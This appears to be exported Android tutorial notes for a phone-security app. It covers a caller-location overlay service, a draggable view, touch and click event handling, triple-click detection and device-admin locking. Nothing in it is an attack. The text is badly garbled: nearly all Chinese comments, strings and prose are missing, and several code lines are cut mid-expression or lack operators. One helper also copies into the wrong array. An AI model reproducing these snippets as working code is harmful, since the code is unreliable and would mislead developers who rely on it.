								toast_setting_hint_phone_address.setDesc(items[toastWhich]);

								toast_setting_hint_phone_address.setOnClickListener(new

OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																showChangeDialog();

												}

								});

				}

				/**

					*5toast	

					*/

				private	void	showChangeDialog()	{

								AlertDialog.Builder	builder	=	new	Builder(this);//	this

								builder.setTitle("" );

								int	toastWhich	=	sp.getInt("toastWhich",	0);

								builder.setSingleChoiceItems(items,	toastWhich,new

DialogInterface.OnClickListener()	{

												@Override

												public	void	onClick(DialogInterface	dialog,	int	which)	{

																//

																Log.i(TAG,	"" +items[which]);

																Editor	edit	=	sp.edit();

																edit.putInt("toastWhich",which);

																edit.commit();

																dialog.dismiss();

												

																toast_setting_hint_phone_address.setDesc(items[which]);				

												}

								});

								builder.setNegativeButton("" ,	new

DialogInterface.OnClickListener()	{

												@Override

												public	void	onClick(DialogInterface	dialog,	int	which)	{

												}

								});

								builder.show();

				}

				//	3	

				@Override

				protected	void	onStart()	{

								super.onStart();

								boolean	isServiceOpen	=

ServiceStatusUtils.isServiceOpen(this,ShowAddressService.class);

								if	(isServiceOpen)	{//	



												Log.i(TAG,	"" );

												sv_setting_showPhoneAddress.setChecked(true);

								}	else	{

												sv_setting_showPhoneAddress.setChecked(false);

												Log.i(TAG,	"" );

								}

				}

}

e ShowAddressService.java

package	cn.zengfansheng.mobilesafe.service;

import	android.app.Service;

import	android.content.BroadcastReceiver;

import	android.content.Context;

import	android.content.Intent;

import	android.content.IntentFilter;

import	android.content.SharedPreferences;

import	android.graphics.PixelFormat;

import	android.os.IBinder;

import	android.telephony.PhoneStateListener;

import	android.telephony.TelephonyManager;

import	android.util.Log;

import	android.view.View;

import	android.view.WindowManager;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.R;

import	cn.zengfansheng.mobilesafe.dao.AddressDao;

/**

	*	2Service

	*	@author	hacket

	*/

public	class	ShowAddressService	extends	Service	{

				private	MyPhoneStateListener	listener;//	

				private	TelephonyManager	manager;//	

				private	OutCallReveiver	outCallReveiver;//	

				private	WindowManager	windowManager;//	window-Toast

				//private	TextView	tv_toast;//textview

				private	View	view_toast;//	xmltoast

				

				//	private	final	String[]	items	=	{	"",	"",	"",	"",	""	};

				private	final	int[]	bgs	=	{	R.drawable.call_locate_white,			//

												R.drawable.call_locate_orange,	R.drawable.call_locate_blue,

												R.drawable.call_locate_green,	R.drawable.call_locate_gray	};

				private	SharedPreferences	sp;

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}



				/**

					*	3

					*	@param	phoneAddress	

					*/

				public	void	toastAddress(String	phoneAddress)	{

								

								//a)	

								windowManager	=	(WindowManager)

this.getSystemService(Context.WINDOW_SERVICE);

								//	b)	view

								/*tv_toast	=	new	TextView(getApplicationContext());

								tv_toast.setText(phoneAddress);

								tv_toast.setTextSize(20);

								tv_toast.setTextColor(Color.RED);*/

								view_toast	=	View.inflate(getApplicationContext(),

R.layout.toast_info,null);

								int	toastWhich	=	sp.getInt("toastWhich",	0);//

								view_toast.setBackgroundResource(bgs[toastWhich]);

								

								TextView	tv_toast_info	=	(TextView)

view_toast.findViewById(R.id.tv_toast_info);

								tv_toast_info.setText(phoneAddress);

								final	WindowManager.LayoutParams	params	=	new

WindowManager.LayoutParams();;

								params.height	=	WindowManager.LayoutParams.WRAP_CONTENT;//	

								params.width	=	WindowManager.LayoutParams.WRAP_CONTENT;//	

								params.flags	=	WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE//	-

																|	WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE//	

																|	WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;//	

								params.format	=	PixelFormat.TRANSLUCENT;//	

								params.type	=	WindowManager.LayoutParams.TYPE_TOAST;//	

								windowManager.addView(view_toast,	params);

				}

				//			.

				//				.

				/**

					*	2

					*	@author	hacket

					*/

				private	class	OutCallReveiver	extends	BroadcastReceiver	{

								private	static	final	String	TAG	=	"Inner	OutCallReveiver";

								@Override

								public	void	onReceive(Context	context,	Intent	intent)	{

												Log.i(TAG,	"ShowAddressServiceOutCallReveiver" );

												String	phoneAddress	=	AddressDao.getAddress(context,

getResultData());

												//	Toast.makeText(context,	phoneAddress,

Toast.LENGTH_LONG).show();



												toastAddress(phoneAddress);

								}

				}

				@Override

				public	void	onCreate()	{

								//	2

								IntentFilter	filter	=	new	IntentFilter();

								filter.addAction(Intent.ACTION_NEW_OUTGOING_CALL);

								outCallReveiver	=	new	OutCallReveiver();

								//	

								registerReceiver(outCallReveiver,	filter);

								//	1

								manager	=	(TelephonyManager)

this.getSystemService(Context.TELEPHONY_SERVICE);

								//	PhoneStateListener	listener	=	new	MyPhoneStateListener();

								//	,

								//	

								listener	=	new	MyPhoneStateListener();//	

								manager.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);

								sp	=	this.getSharedPreferences("config",	MODE_PRIVATE);

								super.onCreate();

				}

				@Override

				public	void	onDestroy()	{

								

								//	2

								unregisterReceiver(outCallReveiver);

								outCallReveiver	=	null;

								

								//	1	

								manager.listen(listener,	PhoneStateListener.LISTEN_NONE);

								listener	=	null;

								super.onDestroy();

				}

				/**

					*	1

					*	@author	hacket

					*/

				private	class	MyPhoneStateListener	extends	PhoneStateListener	{

								@Override

								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{

												super.onCallStateChanged(state,	incomingNumber);

												switch	(state)	{

												case	TelephonyManager.CALL_STATE_RINGING://	



																String	phoneAddress	=

AddressDao.getAddress(getApplicationContext(),	incomingNumber);

																//	Toast.makeText(getApplicationContext(),

phoneAddress,Toast.LENGTH_LONG).show();

																toastAddress(phoneAddress);

																break;

												case	TelephonyManager.CALL_STATE_IDLE://	

																if	(windowManager	!=	null)	{

																				windowManager.removeView(view_toast);//	

																				view_toast	=	null;

																}

																break;

												}

								}

				}

}
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1
API	Demos→App→Activity→Translucent
Activitytheme
2getRawX()getX()RawXX		getRawXgetX
getRawX()getRawY()	XY
getX()getY()xy
3
4getLeft()getRight()getTop()getButtom()
getLeft():
getRight():
getTop():
getButtom():

	



1Activity
	<activity	android:name="com.itheima.mobilesafe.DragViewActivity"
												android:theme="@android:style/Theme.Translucent.NoTitleBar"

		></activity>		
2
3SettingActivityActivity
a)	setOnTouchListener
b)	MotionEvent.ACTION_DOWN
c)	
d)	
e)	
iv_dragview.setOnTouchListener(new	OnTouchListener()	{
				float	startX	=	0;
				float	startY	=	0;
				@Override
				public	boolean	onTouch(View	v,	MotionEvent	event)	{
								switch	(event.getAction())	{
								case	MotionEvent.ACTION_DOWN://	
												startX	=	event.getRawX();
												startY	=	event.getRawY();



												break;
								case	MotionEvent.ACTION_MOVE://	
												float	nowX	=	event.getRawX();
												float	nowY	=	event.getRawY();
												
												float	dx	=	nowX	-	startX;
												float	dy	=	nowY	-	startY;
												int	left	=	(int)	(iv_dragview.getLeft()	+	dx);
												int	right	=	(int)	(iv_dragview.getRight()	+	dx);
												int	top	=	(int)	(iv_dragview.getTop()	+	dy);
												int	bottom	=	(int)	(iv_dragview.getBottom()	+	dy);
												
												iv_dragview.layout(left,	top,	right,	bottom);//	iv_dragview
												startX	=	left;
												startY	=	top;
												break;
								case	MotionEvent.ACTION_UP://	
												break;
								}
								return	true;//	trueconsume
				}

package	cn.zengfansheng.mobilesafe;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.View.OnTouchListener;
import	android.widget.ImageView;
/**
	*	13Activity -Toast
	*	@author	hacket
	*/
public	class	DragViewActivity	extends	Activity	{
				private	ImageView	iv_dragview;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_dragview);
								iv_dragview	=	(ImageView)	this.findViewById(R.id.iv_dragview);
								iv_dragview.setOnTouchListener(new	OnTouchListener()	{
												float	startX	=	0;



												float	startY	=	0;
												@Override
												public	boolean	onTouch(View	v,	MotionEvent	event)	{
																switch	(event.getAction())	{
																case	MotionEvent.ACTION_DOWN://	
																				startX	=	event.getRawX();
																				startY	=	event.getRawY();
																				break;
																case	MotionEvent.ACTION_MOVE://	
																				float	nowX	=	event.getRawX();
																				float	nowY	=	event.getRawY();
																				
																				float	dx	=	nowX	-	startX;
																				float	dy	=	nowY	-	startY;
																				int	left	=	(int)	(iv_dragview.getLeft()	+	dx);
																				int	right	=	(int)	(iv_dragview.getRight()	+	dx);
																				int	top	=	(int)	(iv_dragview.getTop()	+	dy);
																				int	bottom	=	(int)	(iv_dragview.getBottom()	+	dy);
																				
																				iv_dragview.layout(left,	top,	right,	bottom);//	iv_dragview
																				startX	=	left;
																				startY	=	top;
																				break;
																case	MotionEvent.ACTION_UP://	
																				break;
																}
																return	true;//	trueconsume
												}
								});
				}
}
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1——Administration	API
a)	(api-)
b)				DevicePolicyManager				lockNow()
c)				removeActiveAdmin(who)		
d)		isAdminActive(who)
e)					DevicePolicyManager.resetPassword("123",	0);
f)					DevicePolicyManager.resetPassword("",	0);
2

3
/data/data//files/			 getFilesDir()
4-
5-
a)	-API	Demos
b)		Vibrator
c)	-
et_phone_number.addTextChangedListener(new	TextWatcher()	{}
6

a)	SharedPreferences
b)		activityManager.getRunningServices(100);
c)	onStart()onCreate(),bugHomeActivity
7&
1

2

8-
9-
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,→→
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AndroidonClickonLongClickACTION_DOWNACTION_UPViewonClick

onLongClickonTouchEventonTouchEventACTION_DOWNACTION_UPonClick

onLongClick

package	cn.zengfansheng.touchandclick;

	

import	android.app.Activity;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.MotionEvent;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.View.OnLongClickListener;

import	android.view.View.OnTouchListener;

import	android.widget.Button;

	

public	class	MainActivity	extends	Activity	{

	

				protected	static	final	String	TAG	=	"MainActivity";

				private	Button	bt;

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								bt	=	(Button)	this.findViewById(R.id.bt);

	

								//	1

								bt.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																Log.i(TAG,	"" );

												}

								});

	

								//	2

								bt.setOnTouchListener(new	OnTouchListener()	{

	

												@Override

												public	boolean	onTouch(View	v,	MotionEvent	event)	{

																switch	(event.getAction())	{

																case	MotionEvent.ACTION_DOWN:

																				Log.i(TAG,	"MotionEvent.ACTION_DOWN" );

																				break;

																case	MotionEvent.ACTION_MOVE:

																				Log.i(TAG,	"MotionEvent.ACTION_MOVE" );

																				break;

																case	MotionEvent.ACTION_UP:

																				Log.i(TAG,	"MotionEvent.ACTION_UP" );

																				break;

																}

																return	true;

												}

								});

								//	3



								bt.setOnLongClickListener(new	OnLongClickListener()	{

	

												@Override

												public	boolean	onLongClick(View	v)	{

																Log.i(TAG,	"LongClick...");

																return	true;

												}

								});

				}

}

	



&&&&&&Toast

1Administration	APIapi——
a	(api-)
b)				DevicePolicyManager				lockNow()
c)				removeActiveAdmin(who)		
d)			isAdminActive(who)
e)					DevicePolicyManager.resetPassword("123",	0);
f				DevicePolicyManager.resetPassword("",	0);
2

3
a)	assets
b)	R.raw	
c)	
d)	
4

5
a)	(API	Demos)-
b)		Vibrator
c)	
et_phone_number.addTextChangedListener(new	TextWatcher()	{}
6	——WindowManager,Toast

a)	SharedPreferences
b)		activityManager.getRunningServices(100);
c)	onStart()onCreate(),bug
7

1

2
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view 1——
LayoutParams	params	=	(LayoutParams)	iv_dragview.getLayoutParams();
params.leftMargin	=	left;
params.topMargin	=	top;
//	
iv_dragview.setLayoutParams(params);		
2layout()
3onCreate()	 int	tv_height	=	tv_dragview.getHeight();viewview onMeasure()
viewlayout()view
protected	void	onMeasure(int	widthMeasureSpec,	int	heightMeasureSpec)	{
								setMeasuredDimension(getDefaultSize(getSuggestedMinimumWidth(),	widthMeasureSpec),
																getDefaultSize(getSuggestedMinimumHeight(),	heightMeasureSpec));
				}
, 	LayoutParams		
final	LayoutParams	iv_params	=	(LayoutParams)	iv_dragview.getLayoutParams();
iv_params.leftMargin	=	left;
iv_params.topMargin	=	top;

onCreate()iv_dragview.getHeight()0view0layout()
textviewimageviewimageviewtextview imageviewtextview
DragViewActivity.java	
if	(top	<	(window_height	/	2	-	iv_dragview.getHeight()	/	2))	{
//	iv_dragviewtop,tv_dragview
				tv_dragview.layout(tv_dragview.getLeft(),	window_height-tv_height-
40,	tv_dragview.getRight(),	window_height-40);
}	else	if	(bottom	>	(window_height	/	2	+	iv_dragview.getHeight()	/	2))	{
//	iv_dragviewbottomtv_dragview
				tv_dragview.layout(tv_dragview.getLeft(),	0,	tv_dragview.getRight(),	tv_height);
}

ShowAddressService.java	
final	WindowManager.LayoutParams	params	=	new	WindowManager.LayoutParams();
								//	
								params.gravity	=	Gravity.LEFT	+	Gravity.TOP;//	Gravity.CENTER
								params.x	=	sp.getInt("left",	0);//	Gravity.LEFT
								params.y	=	sp.getInt("top",	0);

	Gravity.LEFT	param.x 	



X	position	for	this	window.	With	the	default	gravity	it	is	ignored.	When	using	Gravity.LEFT
Gravity.START	or	Gravity.RIGHT	or	Gravity.END	it	provides	an	offset	from	the	given	edge.

imageviewtextview imageviewtextview
//	9iv_dragviewtv_dragview
final	int	window_height	=	wm.getDefaultDisplay().getHeight();//	
final	int	window_width	=	wm.getDefaultDisplay().getWidth();
int	tv_height	=	sp.getInt("tv_height",	0);//	FIXME	bug
int	tv_left	=	sp.getInt("tv_left",	0);
//	/int	tv_right	=	sp.getInt("tv_right",	0);
if	(tv_height	!=	0)	{
				Log.i(TAG,	"ivtv" );
				if	(top	<	(window_height	/	2	-	tv_height	/	2))	{	//	iv_dragview.getHeight()
								LayoutParams	tv_params	=	(LayoutParams)	tv_dragview.getLayoutParams();
								tv_params.topMargin	=	window_height-tv_height-40;
								//	tv_params.bottomMargin	=	window_height-40;//
								tv_params.leftMargin	=	tv_left;
								//	tv_params.rightMargin	=	tv_right;//
				}
}		

eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.view(WindowManager$LayoutParams.class%E2%98%83LayoutParams%5Ex%E2%98%82Gravity%E2%98%82LEFT
eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.view(WindowManager$LayoutParams.class%E2%98%83LayoutParams%5Ex%E2%98%82Gravity%E2%98%82START
eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.view(WindowManager$LayoutParams.class%E2%98%83LayoutParams%5Ex%E2%98%82Gravity%E2%98%82RIGHT
eclipse-javadoc:%E2%98%82=Mobilesafe%20v4.0/D:%5C/07_Tools%5C/adt-bundle-windows-x86_64-20130917%5C/sdk%5C/platforms%5C/android-16%5C/android.jar%3Candroid.view(WindowManager$LayoutParams.class%E2%98%83LayoutParams%5Ex%E2%98%82Gravity%E2%98%82END


	



package	cn.zengfansheng.mobilesafe;

	

import	android.app.Activity;

import	android.content.SharedPreferences;

import	android.content.SharedPreferences.Editor;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.MotionEvent;

import	android.view.View;

import	android.view.View.OnTouchListener;

import	android.view.WindowManager;

import	android.widget.ImageView;

import	android.widget.RelativeLayout.LayoutParams;

import	android.widget.TextView;

	

/**

*	13Activity-Toast

*	@author	hacket

*/



public	class	DragViewActivity	extends	Activity	{

	

				private	static	final	String	TAG	=	"DragViewActivity";

	

				private	ImageView	iv_dragview;//	toastImageView

				private	SharedPreferences	sp;//

	

				private	WindowManager	wm;//

	

				private	TextView	tv_dragview;//	toastTextView

	

				@SuppressWarnings("deprecation")

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_dragview);

	

								iv_dragview	=	(ImageView)	this.findViewById(R.id.iv_dragview);

								sp	=	this.getSharedPreferences("config",	MODE_PRIVATE);

								wm	=	(WindowManager)	this.getSystemService(WINDOW_SERVICE);

								tv_dragview	=	(TextView)	this.findViewById(R.id.tv_dragview);

	

								//	4

								int	left	=	sp.getInt("left",	0);

								int	top	=	sp.getInt("top",	0);

								Log.i(TAG,	"" 	+	left);

								Log.i(TAG,	"" 	+	top);

	

								//	onCreate()view0,

								//	5iv_dragview

//								int	height	=	iv_dragview.getBottom()	-	iv_dragview.getTop();//	iv_dragview

//								int	width	=	iv_dragview.getRight()	-	iv_dragview.getLeft();//	iv_dragview

//								Log.i(TAG,	"iv_dragview"	+	height);

//								Log.i(TAG,	"iv_dragview"	+	width);

//								//	layout()

//								iv_dragview.layout(left,	top,	left	+	width,	top	+	height);

	

								//	6

								final	LayoutParams	iv_params	=	(LayoutParams)	iv_dragview.getLayoutParams();

								iv_params.leftMargin	=	left;

								iv_params.topMargin	=	top;

	

								//	9iv_dragviewtv_dragview

								final	int	window_height	=	wm.getDefaultDisplay().getHeight();//	

								final	int	window_width	=	wm.getDefaultDisplay().getWidth();

								int	tv_height	=	sp.getInt("tv_height",	0);//	FIXME	bug

								int	tv_left	=	sp.getInt("tv_left",	0);

								//	/int	tv_right	=	sp.getInt("tv_right",	0);

								if	(tv_height	!=	0)	{

												Log.i(TAG,	"ivtv" );

												if	(top	<	(window_height	/	2	-	tv_height	/	2))	{	//

iv_dragview.getHeight()

																LayoutParams	tv_params	=	(LayoutParams)

tv_dragview.getLayoutParams();

																tv_params.topMargin	=	window_height-tv_height-40;



																//	tv_params.bottomMargin	=	window_height-40;//

																tv_params.leftMargin	=	tv_left;

																//	tv_params.rightMargin	=	tv_right;//

												}

								}

	

								//	iv_dragview

								iv_dragview.setLayoutParams(iv_params);

	

								iv_dragview.setOnTouchListener(new	OnTouchListener()	{

	

												float	startX	=	0;

												float	startY	=	0;

	

												@Override

												public	boolean	onTouch(View	v,	MotionEvent	event)	{

	

																switch	(event.getAction())	{

																case	MotionEvent.ACTION_DOWN://	1

																				startX	=	event.getRawX();

																				startY	=	event.getRawY();

																				break;

																case	MotionEvent.ACTION_MOVE://	2

	

																				//	

																				float	nowX	=	event.getRawX();

																				float	nowY	=	event.getRawY();

	

																				//	

																				float	dx	=	nowX	-	startX;

																				float	dy	=	nowY	-	startY;

	

																				int	left	=	(int)	(iv_dragview.getLeft()	+	dx);//	

																				int	right	=	(int)	(iv_dragview.getRight()	+	dx);//	

																				int	top	=	(int)	(iv_dragview.getTop()	+	dy);//	

																				int	bottom	=	(int)	(iv_dragview.getBottom()	+	dy);//	

	

																				//	7

																				if	(left	<	0	||	right	>	window_width	||	top	<	0	||	bottom	

window_height-iv_dragview.getHeight())	{

																								break;

																				}

	

																				//	8iv_dragviewtv_dragviewiv_dragviewtv_dragview

																				int	tv_height	=	tv_dragview.getHeight();

																				Editor	edit	=	sp.edit();

																				edit.putInt("tv_height",	tv_height);//	textview,

																				edit.putInt("tv_left",	tv_dragview.getLeft());//	textview

																				edit.putInt("tv_right",	tv_dragview.getRight());//	textview

																				edit.commit();

																				if	(top	<	(window_height	/	2	-	iv_dragview.getHeight()	/	

{//	iv_dragviewtop,tv_dragview

																								tv_dragview.layout(tv_dragview.getLeft(),	window_height

tv_height-40,	tv_dragview.getRight(),	window_height-40);

																				}	else	if	(bottom	>	(window_height	/	2	+



iv_dragview.getHeight()	/	2))	{//	iv_dragviewbottomtv_dragview

																								tv_dragview.layout(tv_dragview.getLeft(),	0,

tv_dragview.getRight(),	tv_height);

																				}

	

																				iv_dragview.layout(left,	top,	right,	bottom);//	iv_dragview

	

																				startX	=	left;

																				startY	=	top;

																				break;

																case	MotionEvent.ACTION_UP://	3

																				//	

																				int	lastLeft	=	iv_dragview.getLeft();

																				int	lastTop	=	iv_dragview.getTop();

																				Editor	editor	=	sp.edit();

																				editor.putInt("left",	lastLeft).putInt("top",	lastTop);

																				editor.commit();

																				break;

																}

																return	true;//	trueconsume

												}

								});

				}

}

1
ActivityonCreate()View0
Viewviewnew onMeasure()-
int	height	=	iv_dragview.getBottom()	-	iv_dragview.getTop();//	iv_dragview0
int	width	=	iv_dragview.getRight()	-	iv_dragview.getLeft();//	iv_dragview0
//	layout()
iv_dragview.layout(left,	top,	left	+	width,	top	+	height);		

2
	 	



AndroidAndroidAPI 1
2
3500
4trueconsume

//	10
iv_dragview.setOnClickListener(new	OnClickListener()	{
				@Override
				public	void	onClick(View	v)	{
								Log.i(TAG,	"iv_dragview~~");
								//	b)	
								if	(firstClickTime	>	0)	{
												secondClickTime	=	System.currentTimeMillis();
												long	dTime	=	secondClickTime	-	firstClickTime;
												if	(dTime	<	400)	{//	
																Log.i(TAG,	"iv_dragview~~");
																//	iv_dragview
																int	l	=	window_width	/	2	-	iv_dragview.getWidth()	/	2;
																int	r	=	window_width	/	2	+	iv_dragview.getWidth()	/	2;
																iv_dragview.layout(l,	iv_dragview.getTop(),	r,	iv_dragview.getBottom());
												}
								}
								//	a)
								firstClickTime	=	System.currentTimeMillis();
				}
});

1 	 setOnTouchListenerfalseconsume
setOnTouchListener(l)
setOnLongClickListener(l)
setOnClickListener(l)
1 	MotionEvent.ACTION_DOWN 	 MotionEvent.ACTION_MOVE
2
3		 MotionEvent.ACTION_UP		
4
2 setOnTouchListener(l)falseconsume setOnLongClickListener(l)
setOnClickListener(l)
package	cn.zengfansheng.touchandclick;



import	android.app.Activity;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.MotionEvent;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.View.OnLongClickListener;

import	android.view.View.OnTouchListener;

import	android.widget.Button;

	

public	class	MainActivity	extends	Activity	{

				protected	static	final	String	TAG	=	"MainActivity";

				private	Button	bt;

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								bt	=	(Button)	this.findViewById(R.id.bt);

	

								//	1

								bt.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																Log.i(TAG,	"" );

												}

								});

	

								//	2

								bt.setOnTouchListener(new	OnTouchListener()	{

	

												@Override

												public	boolean	onTouch(View	v,	MotionEvent	event)	{

																switch	(event.getAction())	{

																case	MotionEvent.ACTION_DOWN:

																				Log.i(TAG,	"MotionEvent.ACTION_DOWN" );

																				break;

																case	MotionEvent.ACTION_MOVE:

																				Log.i(TAG,	"MotionEvent.ACTION_MOVE" );

																				break;

																case	MotionEvent.ACTION_UP:

																				Log.i(TAG,	"MotionEvent.ACTION_UP" );

																				break;

																}

																//	return	true;//true

																return	false;

												}

								});

								//	3

								bt.setOnLongClickListener(new	OnLongClickListener()	{

	

												@Override

												public	boolean	onLongClick(View	v)	{

																Log.i(TAG,	"LongClick...");



																return	false;

												}

								});

				}

}
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Settings



	
1Android	version



	
2CTRL+H,Android	version 	



	
3strings.xml

	
4CTRL+Hfireware_version

	
5
long[]	mHits	=	new	long[3];	



......	
public	boolean	onPreferenceTreeClick(PreferenceScreen	preferenceScreen,	Preference	preference)
								if	(preference.getKey().equals(KEY_FIRMWARE_VERSION))	{
												System.arraycopy(mHits,	1,	mHits,	0,	mHits.length-1);
												mHits[mHits.length-1]	=	SystemClock.uptimeMillis();
												if	(mHits[0]	>=	(SystemClock.uptimeMillis()-500))	{
																Intent	intent	=	new	Intent(Intent.ACTION_MAIN);
																intent.setClassName("android",
																								com.android.internal.app.PlatLogoActivity.class.getName());
																try	{
																				startActivity(intent);
																}	catch	(Exception	e)	{
																				Log.e(LOG_TAG,	"Unable	to	start	activity	"	+	intent.toString());
																}
												}
3

package	cn.zengfansheng.threeclick;
import	android.app.Activity;
import	android.os.Bundle;
import	android.os.SystemClock;
import	android.view.View;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);



				}
				//	1
				long[]	mHits	=	new	long[3];
				public	void	threeClick(View	view)	{
								//	2mHits1mHits0mHits.length-1
								//	
								System.arraycopy(mHits,	1,	mHits,	0,	mHits.length	-	1);
								//	3mHits
								mHits[mHits.length	-	1]	=	SystemClock.uptimeMillis();
								//4mHits
								if	(mHits[0]	>=	(SystemClock.uptimeMillis()	-	500))	{
												Toast.makeText(getApplicationContext(),	mHits.length	+	"~~~" ,0).show();
								}
				}
				/**
					*	
					*	@param	view
					*/
				long[]	myHits	=	new	long[4];
				public	void	myFourClick(View	view)	{
								
								//	1
								System.arraycopy(myHits,	1,	mHits,	0,	myHits.length	-	1);
								//	2
								myHits[myHits.length	-	1]	=	SystemClock.currentThreadTimeMillis();
								//	
								if	(myHits[0]	>=	(myHits[myHits.length	-	1]	-	600))	{
												Toast.makeText(getApplicationContext(),	myHits.length	+	"~~~" ,	0)
																				.show();
								}
				}
}

wiz:open_attachment?guid=f5cd1f23-de93-4667-9ba5-3395dc67ad69


1Toast
2Toast params.flags	=	WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE//	

3 params.type	=	WindowManager.LayoutParams.TYPE_TOAST;//	
	public	static	final	int	TYPE_PRIORITY_PHONE	=	FIRST_SYSTEM_WINDOW+7;//

	<uses-
permission	android:name="android.permission.SYSTEM_ALERT_WINDOW"/>		
4layout()WindowManagerupdateViewLayout()
params.x	+=	dX;
params.y	+=	dY;
windowManager.updateViewLayout(view_toast,	params);	//	paramstoast
5
case	MotionEvent.ACTION_UP:
				Log.i(TAG,	"toast" );
				//	Toast
				//	TODO				 sp,,
				params.gravity	=	Gravity.LEFT	+	Gravity.TOP;
				int	left	=	params.x;
				int	top	=	params.y;
				//	int	left	=	view_toast.getLeft();//
				//	int	top	=	view_toast.getTop();//
				Editor	edit	=	sp.edit();
				edit.putInt("left",	left);
				edit.putInt("top",	top);
				edit.commit();
				break;
	
/**
	*	3
	*	@param	phoneAddress	
	*/
public	void	toastAddress(String	phoneAddress)	{
				
				//a)	
				windowManager	=	(WindowManager)	this.getSystemService(Context.WINDOW_SERVICE
				//	b)	view
				/*tv_toast	=	new	TextView(getApplicationContext());
				tv_toast.setText(phoneAddress);
				tv_toast.setTextSize(20);



				tv_toast.setTextColor(Color.RED);*/
				view_toast	=	View.inflate(getApplicationContext(),	R.layout.toast_info,null);
				int	toastWhich	=	sp.getInt("toastWhich",	0);//
				view_toast.setBackgroundResource(bgs[toastWhich]);
				
				TextView	tv_toast_info	=	(TextView)	view_toast.findViewById(R.id.tv_toast_info);
				tv_toast_info.setText(phoneAddress);
				//	d)
				view_toast.setOnTouchListener(new	OnTouchListener()	{
								private	int	startX;//	toastx
								private	int	startY;//	toasty
								@Override
								public	boolean	onTouch(View	v,	MotionEvent	event)	{
												switch	(event.getAction())	{
												case	MotionEvent.ACTION_DOWN:
																Log.i(TAG,	"toast" );
																//	1
																startX	=	(int)	event.getRawX();
																startY	=	(int)	event.getRawY();
																break;
												case	MotionEvent.ACTION_MOVE:
																Log.i(TAG,	"toast" );
																//	2xy
																int	newX	=	(int)	event.getRawX();
																int	newY	=	(int)	event.getRawY();
																//	3
																int	dX	=	newX	-	startX;
																int	dY	=	newY	-	startY;
																//	4toast
																params.x	+=	dX;
																params.y	+=	dY;
																windowManager.updateViewLayout(view_toast,	params);//	paramstoast
																//	5
																startX	=	(int)	event.getRawX();
																startY	=	(int)	event.getRawY();
																break;
												case	MotionEvent.ACTION_UP:
																Log.i(TAG,	"toast" );
																//	FIXME	
																break;
												}
												return	true;



								}
				});
				//	c)
				params	=	new	WindowManager.LayoutParams();
				//	
				params.gravity	=	Gravity.LEFT	+	Gravity.TOP;//	Gravity.CENTER
				params.x	=	sp.getInt("left",	0);//	Gravity.LEFT
				params.y	=	sp.getInt("top",	0);
				
				params.height	=	WindowManager.LayoutParams.WRAP_CONTENT;//	
				params.width	=	WindowManager.LayoutParams.WRAP_CONTENT;//	
				params.flags	=	WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE//	-
												//	|	WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE//
												|	WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;//	
				params.format	=	PixelFormat.TRANSLUCENT;//	
				//	params.type	=	WindowManager.LayoutParams.TYPE_TOAST;//
				params.type	=	WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
				windowManager.addView(view_toast,	params);
}



1
2
3 MotionEvent.ACTION_UP
VISIBLE,

package	cn.zengfansheng.launchRocket;
	
import	android.app.Activity;
import	android.content.Context;
import	android.graphics.drawable.AnimationDrawable;
import	android.os.Bundle;
import	android.os.Handler;
import	android.os.Message;
import	android.util.Log;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.View.OnTouchListener;
import	android.view.WindowManager;
import	android.view.animation.AlphaAnimation;
import	android.widget.ImageView;
import	android.widget.Toast;
	
public	class	MainActivity	extends	Activity	{
	
				protected	static	final	String	TAG	=	"MainActivity";
	
				private	ImageView	iv_rocket_image;
				private	ImageView	iv_smoke_bottom;
				private	ImageView	iv_smoke_top;
	
				private	WindowManager	wm;
				private	int	window_width;//	
				private	int	window_height;//	
	
				private	Handler	handler	=	new	Handler()	{
	
								@Override



								public	void	handleMessage(Message	msg)	{
	
												int	bottom_location	=	msg.what;
												//	1bottom_locationiv_smoke_topiv_smoke_top
												if	(bottom_location	<	iv_smoke_top.getBottom()	+	20)	{
																iv_smoke_top.setVisibility(ImageView.VISIBLE);
	
																//	
																AlphaAnimation	aa	=	new	AlphaAnimation(0.0f,	1.0f);
																aa.setRepeatCount(1);
